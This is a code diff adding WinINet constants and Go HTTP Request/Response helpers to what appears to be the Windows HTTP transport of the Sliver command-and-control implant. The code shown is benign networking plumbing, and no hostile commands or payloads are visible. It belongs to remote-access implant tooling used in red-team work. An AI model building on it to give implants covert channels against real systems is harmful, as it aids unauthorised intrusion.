+	GopherTypeDirectory                            uintptr = 0x00000002
+	GopherTypeCso                                  uintptr = 0x00000004
+	GopherTypeError                                uintptr = 0x00000008
+	GopherTypeMacBinhex                            uintptr = 0x00000010
+	GopherTypeDosArchive                           uintptr = 0x00000020
+	GopherTypeUnixUuencoded                        uintptr = 0x00000040
+	GopherTypeIndexServer                          uintptr = 0x00000080
+	GopherTypeTelnet                               uintptr = 0x00000100
+	GopherTypeBinary                               uintptr = 0x00000200
+	GopherTypeRedundant                            uintptr = 0x00000400
+	GopherTypeTn3270                               uintptr = 0x00000800
+	GopherTypeGif                                  uintptr = 0x00001000
+	GopherTypeImage                                uintptr = 0x00002000
+	GopherTypeBitmap                               uintptr = 0x00004000
+	GopherTypeMovie                                uintptr = 0x00008000
+	GopherTypeSound                                uintptr = 0x00010000
+	GopherTypeHtml                                 uintptr = 0x00020000
+	GopherTypePdf                                  uintptr = 0x00040000
+	GopherTypeCalendar                             uintptr = 0x00080000
+	GopherTypeInline                               uintptr = 0x00100000
+	GopherTypeUnknown                              uintptr = 0x20000000
+	GopherTypeAsk                                  uintptr = 0x40000000
+	GopherTypeGopherPlus                           uintptr = 0x80000000
+	GopherTypeFileMask                             uintptr = (GopherTypeTextFile | GopherTypeMacBinhex | GopherTypeDosArchive | GopherTypeUnixUuencoded | GopherTypeBinary | GopherTypeGif | GopherTypeImage | GopherTypeBitmap | GopherTypeMovie | GopherTypeSound | GopherTypeHtml | GopherTypePdf | GopherTypeCalendar | GopherTypeInline)
+	MaxGopherCategoryName                          uintptr = 128
+	MaxGopherAttributeName                         uintptr = 128
+	MinGopherAttributeLength                       uintptr = 256
+	GopherInfoCategory                             string  = "+INFO"
+	GopherAdminCategory                            string  = "+ADMIN"
+	GopherViewsCategory                            string  = "+VIEWS"
+	GopherAbstractCategory                         string  = "+ABSTRACT"
+	GopherVeronicaCategory                         string  = "+VERONICA"
+	GopherAdminAttribute                           string  = "Admin"
+	GopherModDateAttribute                         string  = "Mod-Date"
+	GopherTtlAttribute                             string  = "TTL"
+	GopherScoreAttribute                           string  = "Score"
+	GopherRangeAttribute                           string  = "Score-range"
+	GopherSiteAttribute                            string  = "Site"
+	GopherOrgAttribute                             string  = "Org"
+	GopherLocationAttribute                        string  = "Loc"
+	GopherGeogAttribute                            string  = "Geog"
+	GopherTimezoneAttribute                        string  = "TZ"
+	GopherProviderAttribute                        string  = "Provider"
+	GopherVersionAttribute                         string  = "Version"
+	GopherAbstractAttribute                        string  = "Abstract"
+	GopherViewAttribute                            string  = "View"
+	GopherTreewalkAttribute                        string  = "treewalk"
+	GopherAttributeIdBase                          uintptr = 0xabcccc00
+	GopherCategoryIdAll                            uintptr = (GopherAttributeIdBase + 1)
+	GopherCategoryIdInfo                           uintptr = (GopherAttributeIdBase + 2)
+	GopherCategoryIdAdmin                          uintptr = (GopherAttributeIdBase + 3)
+	GopherCategoryIdViews                          uintptr = (GopherAttributeIdBase + 4)
+	GopherCategoryIdAbstract                       uintptr = (GopherAttributeIdBase + 5)
+	GopherCategoryIdVeronica                       uintptr = (GopherAttributeIdBase + 6)
+	GopherCategoryIdAsk                            uintptr = (GopherAttributeIdBase + 7)
+	GopherCategoryIdUnknown                        uintptr = (GopherAttributeIdBase + 8)
+	GopherAttributeIdAll                           uintptr = (GopherAttributeIdBase + 9)
+	GopherAttributeIdAdmin                         uintptr = (GopherAttributeIdBase + 10)
+	GopherAttributeIdModDate                       uintptr = (GopherAttributeIdBase + 11)
+	GopherAttributeIdTtl                           uintptr = (GopherAttributeIdBase + 12)
+	GopherAttributeIdScore                         uintptr = (GopherAttributeIdBase + 13)
+	GopherAttributeIdRange                         uintptr = (GopherAttributeIdBase + 14)
+	GopherAttributeIdSite                          uintptr = (GopherAttributeIdBase + 15)
+	GopherAttributeIdOrg                           uintptr = (GopherAttributeIdBase + 16)
+	GopherAttributeIdLocation                      uintptr = (GopherAttributeIdBase + 17)
+	GopherAttributeIdGeog                          uintptr = (GopherAttributeIdBase + 18)
+	GopherAttributeIdTimezone                      uintptr = (GopherAttributeIdBase + 19)
+	GopherAttributeIdProvider                      uintptr = (GopherAttributeIdBase + 20)
+	GopherAttributeIdVersion                       uintptr = (GopherAttributeIdBase + 21)
+	GopherAttributeIdAbstract                      uintptr = (GopherAttributeIdBase + 22)
+	GopherAttributeIdView                          uintptr = (GopherAttributeIdBase + 23)
+	GopherAttributeIdTreewalk                      uintptr = (GopherAttributeIdBase + 24)
+	GopherAttributeIdUnknown                       uintptr = (GopherAttributeIdBase + 25)
+	HTTPMajorVersion                               uintptr = 1
+	HTTPMinorVersion                               uintptr = 0
+	HTTPVersiona                                   string  = "HTTP/1.0"
+	HTTPVersionw                                   string  = "HTTP/1.0"
+	HTTPQueryMimeVersion                           uintptr = 0
+	HTTPQueryContentType                           uintptr = 1
+	HTTPQueryContentTransferEncoding               uintptr = 2
+	HTTPQueryContentId                             uintptr = 3
+	HTTPQueryContentDescription                    uintptr = 4
+	HTTPQueryContentLength                         uintptr = 5
+	HTTPQueryContentLanguage                       uintptr = 6
+	HTTPQueryAllow                                 uintptr = 7
+	HTTPQueryPublic                                uintptr = 8
+	HTTPQueryDate                                  uintptr = 9
+	HTTPQueryExpires                               uintptr = 10
+	HTTPQueryLastModified                          uintptr = 11
+	HTTPQueryMessageId                             uintptr = 12
+	HTTPQueryUri                                   uintptr = 13
+	HTTPQueryDerivedFrom                           uintptr = 14
+	HTTPQueryCost                                  uintptr = 15
+	HTTPQueryLink                                  uintptr = 16
+	HTTPQueryPragma                                uintptr = 17
+	HTTPQueryVersion                               uintptr = 18
+	HTTPQueryStatusCode                            uintptr = 19
+	HTTPQueryStatusText                            uintptr = 20
+	HTTPQueryRawHeaders                            uintptr = 21
+	HTTPQueryRawHeadersCRLF                        uintptr = 22
+	HTTPQueryConnection                            uintptr = 23
+	HTTPQueryAccept                                uintptr = 24
+	HTTPQueryAcceptCharset                         uintptr = 25
+	HTTPQueryAcceptEncoding                        uintptr = 26
+	HTTPQueryAcceptLanguage                        uintptr = 27
+	HTTPQueryAuthorization                         uintptr = 28
+	HTTPQueryContentEncoding                       uintptr = 29
+	HTTPQueryForwarded                             uintptr = 30
+	HTTPQueryFrom                                  uintptr = 31
+	HTTPQueryIfModifiedSince                       uintptr = 32
+	HTTPQueryLocation                              uintptr = 33
+	HTTPQueryOrigUri                               uintptr = 34
+	HTTPQueryReferer                               uintptr = 35
+	HTTPQueryRetryAfter                            uintptr = 36
+	HTTPQueryServer                                uintptr = 37
+	HTTPQueryTitle                                 uintptr = 38
+	HTTPQueryUserAgent                             uintptr = 39
+	HTTPQueryWwwAuthenticate                       uintptr = 40
+	HTTPQueryProxyAuthenticate                     uintptr = 41
+	HTTPQueryAcceptRanges                          uintptr = 42
+	HTTPQuerySetCookie                             uintptr = 43
+	HTTPQueryCookie                                uintptr = 44
+	HTTPQueryRequestMethod                         uintptr = 45
+	HTTPQueryRefresh                               uintptr = 46
+	HTTPQueryContentDisposition                    uintptr = 47
+	HTTPQueryAge                                   uintptr = 48
+	HTTPQueryCacheControl                          uintptr = 49
+	HTTPQueryContentBase                           uintptr = 50
+	HTTPQueryContentLocation                       uintptr = 51
+	HTTPQueryContentMd5                            uintptr = 52
+	HTTPQueryContentRange                          uintptr = 53
+	HTTPQueryEtag                                  uintptr = 54
+	HTTPQueryHost                                  uintptr = 55
+	HTTPQueryIfMatch                               uintptr = 56
+	HTTPQueryIfNoneMatch                           uintptr = 57
+	HTTPQueryIfRange                               uintptr = 58
+	HTTPQueryIfUnmodifiedSince                     uintptr = 59
+	HTTPQueryMaxForwards                           uintptr = 60
+	HTTPQueryProxyAuthorization                    uintptr = 61
+	HTTPQueryRange                                 uintptr = 62
+	HTTPQueryTransferEncoding                      uintptr = 63
+	HTTPQueryUpgrade                               uintptr = 64
+	HTTPQueryVary                                  uintptr = 65
+	HTTPQueryVia                                   uintptr = 66
+	HTTPQueryWarning                               uintptr = 67
+	HTTPQueryExpect                                uintptr = 68
+	HTTPQueryProxyConnection                       uintptr = 69
+	HTTPQueryUnlessModifiedSince                   uintptr = 70
+	HTTPQueryEchoRequest                           uintptr = 71
+	HTTPQueryEchoReply                             uintptr = 72
+	HTTPQueryEchoHeaders                           uintptr = 73
+	HTTPQueryEchoHeadersCRLF                       uintptr = 74
+	HTTPQueryProxySupport                          uintptr = 75
+	HTTPQueryAuthenticationInfo                    uintptr = 76
+	HTTPQueryPassportUrls                          uintptr = 77
+	HTTPQueryPassportConfig                        uintptr = 78
+	HTTPQueryMax                                   uintptr = 78
+	HTTPQueryCustom                                uintptr = 65535
+	HTTPQueryFlagRequestHeaders                    uintptr = 0x80000000
+	HTTPQueryFlagSystemtime                        uintptr = 0x40000000
+	HTTPQueryFlagNumber                            uintptr = 0x20000000
+	HTTPQueryFlagCoalesce                          uintptr = 0x10000000
+	HTTPQueryModifierFlagsMask                     uintptr = (HTTPQueryFlagRequestHeaders | HTTPQueryFlagSystemtime | HTTPQueryFlagNumber | HTTPQueryFlagCoalesce)
+	HTTPStatusContinue                             uintptr = 100
+	HTTPStatusSwitchProtocols                      uintptr = 101
+	HTTPStatusOk                                   uintptr = 200
+	HTTPStatusCreated                              uintptr = 201
+	HTTPStatusAccepted                             uintptr = 202
+	HTTPStatusPartial                              uintptr = 203
+	HTTPStatusNoContent                            uintptr = 204
+	HTTPStatusResetContent                         uintptr = 205
+	HTTPStatusPartialContent                       uintptr = 206
+	HTTPStatusAmbiguous                            uintptr = 300
+	HTTPStatusMoved                                uintptr = 301
+	HTTPStatusRedirect                             uintptr = 302
+	HTTPStatusRedirectMethod                       uintptr = 303
+	HTTPStatusNotModified                          uintptr = 304
+	HTTPStatusUseProxy                             uintptr = 305
+	HTTPStatusRedirectKeepVerb                     uintptr = 307
+	HTTPStatusBadRequest                           uintptr = 400
+	HTTPStatusDenied                               uintptr = 401
+	HTTPStatusPaymentReq                           uintptr = 402
+	HTTPStatusForbidden                            uintptr = 403
+	HTTPStatusNotFound                             uintptr = 404
+	HTTPStatusBadMethod                            uintptr = 405
+	HTTPStatusNoneAcceptable                       uintptr = 406
+	HTTPStatusProxyAuthReq                         uintptr = 407
+	HTTPStatusRequestTimeout                       uintptr = 408
+	HTTPStatusConflict                             uintptr = 409
+	HTTPStatusGone                                 uintptr = 410
+	HTTPStatusLengthRequired                       uintptr = 411
+	HTTPStatusPrecondFailed                        uintptr = 412
+	HTTPStatusRequestTooLarge                      uintptr = 413
+	HTTPStatusUriTooLong                           uintptr = 414
+	HTTPStatusUnsupportedMedia                     uintptr = 415
+	HTTPStatusRetryWith                            uintptr = 449
+	HTTPStatusServerError                          uintptr = 500
+	HTTPStatusNotSupported                         uintptr = 501
+	HTTPStatusBadGateway                           uintptr = 502
+	HTTPStatusServiceUnavail                       uintptr = 503
+	HTTPStatusGatewayTimeout                       uintptr = 504
+	HTTPStatusVersionNotSup                        uintptr = 505
+	HTTPStatusFirst                                uintptr = HTTPStatusContinue
+	HTTPStatusLast                                 uintptr = HTTPStatusVersionNotSup
+	HTTPAddreqIndexMask                            uintptr = 0x0000FFFF
+	HTTPAddreqFlagsMask                            uintptr = 0xFFFF0000
+	HTTPAddreqFlagAddIfNew                         uintptr = 0x10000000
+	HTTPAddreqFlagAdd                              uintptr = 0x20000000
+	HTTPAddreqFlagCoalesceWithComma                uintptr = 0x40000000
+	HTTPAddreqFlagCoalesceWithSemicolon            uintptr = 0x01000000
+	HTTPAddreqFlagCoalesce                         uintptr = HTTPAddreqFlagCoalesceWithComma
+	HTTPAddreqFlagReplace                          uintptr = 0x80000000
+	HsrAsync                                       uintptr = WininetApiFlagAsync
+	HsrSync                                        uintptr = WininetApiFlagSync
+	HsrUseContext                                  uintptr = WininetApiFlagUseContext
+	HsrInitiate                                    uintptr = 0x00000008
+	HsrDownload                                    uintptr = 0x00000010
+	HsrChunked                                     uintptr = 0x00000020
+	InternetCookieIsSecure                         uintptr = 0x01
+	InternetCookieIsSession                        uintptr = 0x02
+	InternetCookieThirdParty                       uintptr = 0x10
+	InternetCookiePromptRequired                   uintptr = 0x20
+	InternetCookieEvaluateP3p                      uintptr = 0x40
+	InternetCookieApplyP3p                         uintptr = 0x80
+	InternetCookieP3pEnabled                       uintptr = 0x100
+	InternetCookieIsRestricted                     uintptr = 0x200
+	InternetCookieIe6                              uintptr = 0x400
+	InternetCookieIsLegacy                         uintptr = 0x800
+	FlagIccForceConnection                         uintptr = 0x00000001
+	FlagsErrorUiFilterForErrors                    uintptr = 0x01
+	FlagsErrorUiFlagsChangeOptions                 uintptr = 0x02
+	FlagsErrorUiFlagsGenerateData                  uintptr = 0x04
+	FlagsErrorUiFlagsNoUi                          uintptr = 0x08
+	FlagsErrorUiSerializeDialogs                   uintptr = 0x10
+	InternetErrorBase                              uintptr = 12000
+	ErrorInternetOutOfHandles                      uintptr = (InternetErrorBase + 1)
+	ErrorInternetTimeout                           uintptr = (InternetErrorBase + 2)
+	ErrorInternetExtendedError                     uintptr = (InternetErrorBase + 3)
+	ErrorInternetInternalError                     uintptr = (InternetErrorBase + 4)
+	ErrorInternetInvalidUrl                        uintptr = (InternetErrorBase + 5)
+	ErrorInternetUnrecognizedScheme                uintptr = (InternetErrorBase + 6)
+	ErrorInternetNameNotResolved                   uintptr = (InternetErrorBase + 7)
+	ErrorInternetProtocolNotFound                  uintptr = (InternetErrorBase + 8)
+	ErrorInternetInvalidOption                     uintptr = (InternetErrorBase + 9)
+	ErrorInternetBadOptionLength                   uintptr = (InternetErrorBase + 10)
+	ErrorInternetOptionNotSettable                 uintptr = (InternetErrorBase + 11)
+	ErrorInternetShutdown                          uintptr = (InternetErrorBase + 12)
+	ErrorInternetIncorrectUserName                 uintptr = (InternetErrorBase + 13)
+	ErrorInternetIncorrectPassword                 uintptr = (InternetErrorBase + 14)
+	ErrorInternetLoginFailure                      uintptr = (InternetErrorBase + 15)
+	ErrorInternetInvalidOperation                  uintptr = (InternetErrorBase + 16)
+	ErrorInternetOperationCancelled                uintptr = (InternetErrorBase + 17)
+	ErrorInternetIncorrectHandleType               uintptr = (InternetErrorBase + 18)
+	ErrorInternetIncorrectHandleState              uintptr = (InternetErrorBase + 19)
+	ErrorInternetNotProxyRequest                   uintptr = (InternetErrorBase + 20)
+	ErrorInternetRegistryValueNotFound             uintptr = (InternetErrorBase + 21)
+	ErrorInternetBadRegistryParameter              uintptr = (InternetErrorBase + 22)
+	ErrorInternetNoDirectAccess                    uintptr = (InternetErrorBase + 23)
+	ErrorInternetNoContext                         uintptr = (InternetErrorBase + 24)
+	ErrorInternetNoCallback                        uintptr = (InternetErrorBase + 25)
+	ErrorInternetRequestPending                    uintptr = (InternetErrorBase + 26)
+	ErrorInternetIncorrectFormat                   uintptr = (InternetErrorBase + 27)
+	ErrorInternetItemNotFound                      uintptr = (InternetErrorBase + 28)
+	ErrorInternetCannotConnect                     uintptr = (InternetErrorBase + 29)
+	ErrorInternetConnectionAborted                 uintptr = (InternetErrorBase + 30)
+	ErrorInternetConnectionReset                   uintptr = (InternetErrorBase + 31)
+	ErrorInternetForceRetry                        uintptr = (InternetErrorBase + 32)
+	ErrorInternetInvalidProxyRequest               uintptr = (InternetErrorBase + 33)
+	ErrorInternetNeedUi                            uintptr = (InternetErrorBase + 34)
+	ErrorInternetHandleExists                      uintptr = (InternetErrorBase + 36)
+	ErrorInternetSecCertDateInvalid                uintptr = (InternetErrorBase + 37)
+	ErrorInternetSecCertCnInvalid                  uintptr = (InternetErrorBase + 38)
+	ErrorInternetHTTPToHTTPsOnRedir                uintptr = (InternetErrorBase + 39)
+	ErrorInternetHTTPsToHTTPOnRedir                uintptr = (InternetErrorBase + 40)
+	ErrorInternetMixedSecurity                     uintptr = (InternetErrorBase + 41)
+	ErrorInternetChgPostIsNonSecure                uintptr = (InternetErrorBase + 42)
+	ErrorInternetPostIsNonSecure                   uintptr = (InternetErrorBase + 43)
+	ErrorInternetClientAuthCertNeeded              uintptr = (InternetErrorBase + 44)
+	ErrorInternetInvalidCa                         uintptr = (InternetErrorBase + 45)
+	ErrorInternetClientAuthNotSetup                uintptr = (InternetErrorBase + 46)
+	ErrorInternetAsyncThreadFailed                 uintptr = (InternetErrorBase + 47)
+	ErrorInternetRedirectSchemeChange              uintptr = (InternetErrorBase + 48)
+	ErrorInternetDialogPending                     uintptr = (InternetErrorBase + 49)
+	ErrorInternetRetryDialog                       uintptr = (InternetErrorBase + 50)
+	ErrorInternetHTTPsHTTPSubmitRedir              uintptr = (InternetErrorBase + 52)
+	ErrorInternetInsertCdrom                       uintptr = (InternetErrorBase + 53)
+	ErrorInternetFortezzaLoginNeeded               uintptr = (InternetErrorBase + 54)
+	ErrorInternetSecCertErrors                     uintptr = (InternetErrorBase + 55)
+	ErrorInternetSecCertNoRev                      uintptr = (InternetErrorBase + 56)
+	ErrorInternetSecCertRevFailed                  uintptr = (InternetErrorBase + 57)
+	ErrorFtpTransferInProgress                     uintptr = (InternetErrorBase + 110)
+	ErrorFtpDropped                                uintptr = (InternetErrorBase + 111)
+	ErrorFtpNoPassiveMode                          uintptr = (InternetErrorBase + 112)
+	ErrorGopherProtocolError                       uintptr = (InternetErrorBase + 130)
+	ErrorGopherNotFile                             uintptr = (InternetErrorBase + 131)
+	ErrorGopherDataError                           uintptr = (InternetErrorBase + 132)
+	ErrorGopherEndOfData                           uintptr = (InternetErrorBase + 133)
+	ErrorGopherInvalidLocator                      uintptr = (InternetErrorBase + 134)
+	ErrorGopherIncorrectLocatorType                uintptr = (InternetErrorBase + 135)
+	ErrorGopherNotGopherPlus                       uintptr = (InternetErrorBase + 136)
+	ErrorGopherAttributeNotFound                   uintptr = (InternetErrorBase + 137)
+	ErrorGopherUnknownLocator                      uintptr = (InternetErrorBase + 138)
+	ErrorHTTPHeaderNotFound                        uintptr = (InternetErrorBase + 150)
+	ErrorHTTPDownlevelServer                       uintptr = (InternetErrorBase + 151)
+	ErrorHTTPInvalidServerResponse                 uintptr = (InternetErrorBase + 152)
+	ErrorHTTPInvalidHeader                         uintptr = (InternetErrorBase + 153)
+	ErrorHTTPInvalidQueryRequest                   uintptr = (InternetErrorBase + 154)
+	ErrorHTTPHeaderAlreadyExists                   uintptr = (InternetErrorBase + 155)
+	ErrorHTTPRedirectFailed                        uintptr = (InternetErrorBase + 156)
+	ErrorHTTPNotRedirected                         uintptr = (InternetErrorBase + 160)
+	ErrorHTTPCookieNeedsConfirmation               uintptr = (InternetErrorBase + 161)
+	ErrorHTTPCookieDeclined                        uintptr = (InternetErrorBase + 162)
+	ErrorHTTPRedirectNeedsConfirmation             uintptr = (InternetErrorBase + 168)
+	ErrorInternetSecurityChannelError              uintptr = (InternetErrorBase + 157)
+	ErrorInternetUnableToCacheFile                 uintptr = (InternetErrorBase + 158)
+	ErrorInternetTcpipNotInstalled                 uintptr = (InternetErrorBase + 159)
+	ErrorInternetDisconnected                      uintptr = (InternetErrorBase + 163)
+	ErrorInternetServerUnreachable                 uintptr = (InternetErrorBase + 164)
+	ErrorInternetProxyServerUnreachable            uintptr = (InternetErrorBase + 165)
+	ErrorInternetBadAutoProxyScript                uintptr = (InternetErrorBase + 166)
+	ErrorInternetUnableToDownloadScript            uintptr = (InternetErrorBase + 167)
+	ErrorInternetSecInvalidCert                    uintptr = (InternetErrorBase + 169)
+	ErrorInternetSecCertRevoked                    uintptr = (InternetErrorBase + 170)
+	ErrorInternetFailedDuetosecuritycheck          uintptr = (InternetErrorBase + 171)
+	ErrorInternetNotInitialized                    uintptr = (InternetErrorBase + 172)
+	ErrorInternetNeedMsnSspiPkg                    uintptr = (InternetErrorBase + 173)
+	ErrorInternetLoginFailureDisplayEntityBody     uintptr = (InternetErrorBase + 174)
+	InternetErrorLast                              uintptr = ErrorInternetLoginFailureDisplayEntityBody
+	NormalCacheEntry                               uintptr = 0x00000001
+	StickyCacheEntry                               uintptr = 0x00000004
+	EditedCacheEntry                               uintptr = 0x00000008
+	TrackOfflineCacheEntry                         uintptr = 0x00000010
+	TrackOnlineCacheEntry                          uintptr = 0x00000020
+	SparseCacheEntry                               uintptr = 0x00010000
+	CookieCacheEntry                               uintptr = 0x00100000
+	UrlhistoryCacheEntry                           uintptr = 0x00200000
+	UrlcacheFindDefaultFilter                      uintptr = NormalCacheEntry | CookieCacheEntry | UrlhistoryCacheEntry | TrackOfflineCacheEntry | TrackOnlineCacheEntry | StickyCacheEntry
+	CachegroupAttributeGetAll                      uintptr = 0xffffffff
+	CachegroupAttributeBasic                       uintptr = 0x00000001
+	CachegroupAttributeFlag                        uintptr = 0x00000002
+	CachegroupAttributeType                        uintptr = 0x00000004
+	CachegroupAttributeQuota                       uintptr = 0x00000008
+	CachegroupAttributeGroupname                   uintptr = 0x00000010
+	CachegroupAttributeStorage                     uintptr = 0x00000020
+	CachegroupFlagNonpurgeable                     uintptr = 0x00000001
+	CachegroupFlagGidonly                          uintptr = 0x00000004
+	CachegroupFlagFlushurlOndelete                 uintptr = 0x00000002
+	CachegroupSearchAll                            uintptr = 0x00000000
+	CachegroupSearchByurl                          uintptr = 0x00000001
+	CachegroupTypeInvalid                          uintptr = 0x00000001
+	CachegroupReadwriteMask                        uintptr = CachegroupAttributeType | CachegroupAttributeQuota | CachegroupAttributeGroupname | CachegroupAttributeStorage
+	GroupnameMaxLength                             uintptr = 120
+	GroupOwnerStorageSize                          uintptr = 4
+	CacheEntryAttributeFc                          uintptr = 0x00000004
+	CacheEntryHitrateFc                            uintptr = 0x00000010
+	CacheEntryModtimeFc                            uintptr = 0x00000040
+	CacheEntryExptimeFc                            uintptr = 0x00000080
+	CacheEntryAcctimeFc                            uintptr = 0x00000100
+	CacheEntrySynctimeFc                           uintptr = 0x00000200
+	CacheEntryHeaderinfoFc                         uintptr = 0x00000400
+	CacheEntryExemptDeltaFc                        uintptr = 0x00000800
+	InternetCacheGroupAdd                          uintptr = 0
+	InternetCacheGroupRemove                       uintptr = 1
+	InternetDialForcePrompt                        uintptr = 0x2000
+	InternetDialShowOffline                        uintptr = 0x4000
+	InternetDialUnattended                         uintptr = 0x8000
+	InterentGoonlineRefresh                        uintptr = 0x00000001
+	InterentGoonlineMask                           uintptr = 0x00000001
+	InternetAutodialForceOnline                    uintptr = 1
+	InternetAutodialForceUnattended                uintptr = 2
+	InternetAutodialFailifsecuritycheck            uintptr = 4
+	InternetAutodialOverrideNetPresent             uintptr = 8
+	InternetAutodialFlagsMask                      uintptr = (InternetAutodialForceOnline | InternetAutodialForceUnattended | InternetAutodialFailifsecuritycheck | InternetAutodialOverrideNetPresent)
+	ProxyAutoDetectTypeDhcp                        uintptr = 1
+	ProxyAutoDetectTypeDnsA                        uintptr = 2
+	InternetConnectionModem                        uintptr = 0x01
+	InternetConnectionLan                          uintptr = 0x02
+	InternetConnectionProxy                        uintptr = 0x04
+	InternetConnectionModemBusy                    uintptr = 0x08
+	InternetRasInstalled                           uintptr = 0x10
+	InternetConnectionOffline                      uintptr = 0x20
+	InternetConnectionConfigured                   uintptr = 0x40
+	InternetCustomdialConnect                      uintptr = 0
+	InternetCustomdialUnattended                   uintptr = 1
+	InternetCustomdialDisconnect                   uintptr = 2
+	InternetCustomdialShowoffline                  uintptr = 4
+	InternetCustomdialSafeForUnattended            uintptr = 1
+	InternetCustomdialWillSupplyState              uintptr = 2
+	InternetCustomdialCanHangup                    uintptr = 4
+	InternetDialstateDisconnected                  uintptr = 1
+	InternetIdentityFlagPrivateCache               uintptr = 0x01
+	InternetIdentityFlagSharedCache                uintptr = 0x02
+	InternetIdentityFlagClearData                  uintptr = 0x04
+	InternetIdentityFlagClearCookies               uintptr = 0x08
+	InternetIdentityFlagClearHistory               uintptr = 0x10
+	InternetIdentityFlagClearContent               uintptr = 0x20
+	InternetSuppressResetAll                       uintptr = 0x00
+	InternetSuppressCookiePolicy                   uintptr = 0x01
+	InternetSuppressCookiePolicyReset              uintptr = 0x02
+	PrivacyTemplateNoCookies                       uintptr = 0
+	PrivacyTemplateHigh                            uintptr = 1
+	PrivacyTemplateMediumHigh                      uintptr = 2
+	PrivacyTemplateMedium                          uintptr = 3
+	PrivacyTemplateMediumLow                       uintptr = 4
+	PrivacyTemplateLow                             uintptr = 5
+	PrivacyTemplateCustom                          uintptr = 100
+	PrivacyTemplateAdvanced                        uintptr = 101
+	PrivacyTemplateMax                             uintptr = PrivacyTemplateLow
+	PrivacyTypeFirstParty                          uintptr = 0
+	PrivacyTypeThirdParty                          uintptr = 1
+)

implant/sliver/transports/httpclient/drivers/win/wininet/http.go

@@ -0,0 +1,20 @@
+package wininet
+
+import "errors"
+
+// ErrNoCookie is returned by Request's Cookie method when a cookie is
+// not found.
+var ErrNoCookie = errors.New("named cookie not present")
+
+// Common HTTP methods.
+const (
+	MethodConnect string = "CONNECT"
+	MethodDelete  string = "DELETE"
+	MethodGet     string = "GET"
+	MethodHead    string = "HEAD"
+	MethodOptions string = "OPTIONS"
+	MethodPatch   string = "PATCH"
+	MethodPost    string = "POST"
+	MethodPut     string = "PUT"
+	MethodTrace   string = "TRACE"
+)

implant/sliver/transports/httpclient/drivers/win/wininet/request.go

@@ -0,0 +1,55 @@
+package wininet
+
+// Request is a struct containing common HTTP request data.
+type Request struct {
+	Body    []byte
+	cookies []*Cookie
+	Headers map[string]string
+	Method  string
+	URL     string
+}
+
+// NewRequest will return a pointer to a new Request instasnce.
+func NewRequest(method, url string, body ...[]byte) *Request {
+	var b []byte
+
+	if len(body) > 0 {
+		b = body[0]
+	}
+
+	return &Request{
+		Body:    b,
+		Headers: map[string]string{},
+		Method:  method,
+		URL:     url,
+	}
+}
+
+// AddCookie will add a Cookie to the Request.
+func (r *Request) AddCookie(cookie *Cookie) {
+	for i, c := range r.cookies {
+		if cookie.Name == c.Name {
+			r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
+			break
+		}
+	}
+
+	r.cookies = append(r.cookies, cookie)
+}
+
+// Cookie will return the named Cookie provided in the Request or
+// ErrNoCookie, if not found.
+func (r *Request) Cookie(name string) (*Cookie, error) {
+	for _, c := range r.cookies {
+		if name == c.Name {
+			return c, nil
+		}
+	}
+
+	return nil, ErrNoCookie
+}
+
+// Cookies will return the HTTP cookies provided in the Request.
+func (r *Request) Cookies() []*Cookie {
+	return r.cookies
+}

implant/sliver/transports/httpclient/drivers/win/wininet/response.go

@@ -0,0 +1,47 @@
+package wininet
+
+import (
+	"io"
+)
+
+// Response is a struct containing common HTTP response data.
+type Response struct {
+	Body          io.ReadCloser
+	cookies       []*Cookie
+	ContentLength int64
+	Header        map[string][]string
+	Proto         string
+	ProtoMajor    int
+	ProtoMinor    int
+	Status        string
+	StatusCode    int
+}
+
+// AddCookie will add a Cookie to the Request.
+func (r *Response) AddCookie(cookie *Cookie) {
+	for i, c := range r.cookies {
+		if cookie.Name == c.Name {
+			r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
+			break
+		}
+	}
+
+	r.cookies = append(r.cookies, cookie)
+}
+
+// Cookie will return the named Cookie provided in the Response or
+// ErrNoCookie, if not found.
+func (r *Response) Cookie(name string) (*Cookie, error) {
+	for _, c := range r.cookies {
+		if name == c.Name {
+			return c, nil
+		}
+	}
+
+	return nil, ErrNoCookie
+}
+
+// Cookies will return the HTTP cookies provided in the Response.
+func (r *Response) Cookies() []*Cookie {
+	return r.cookies
+}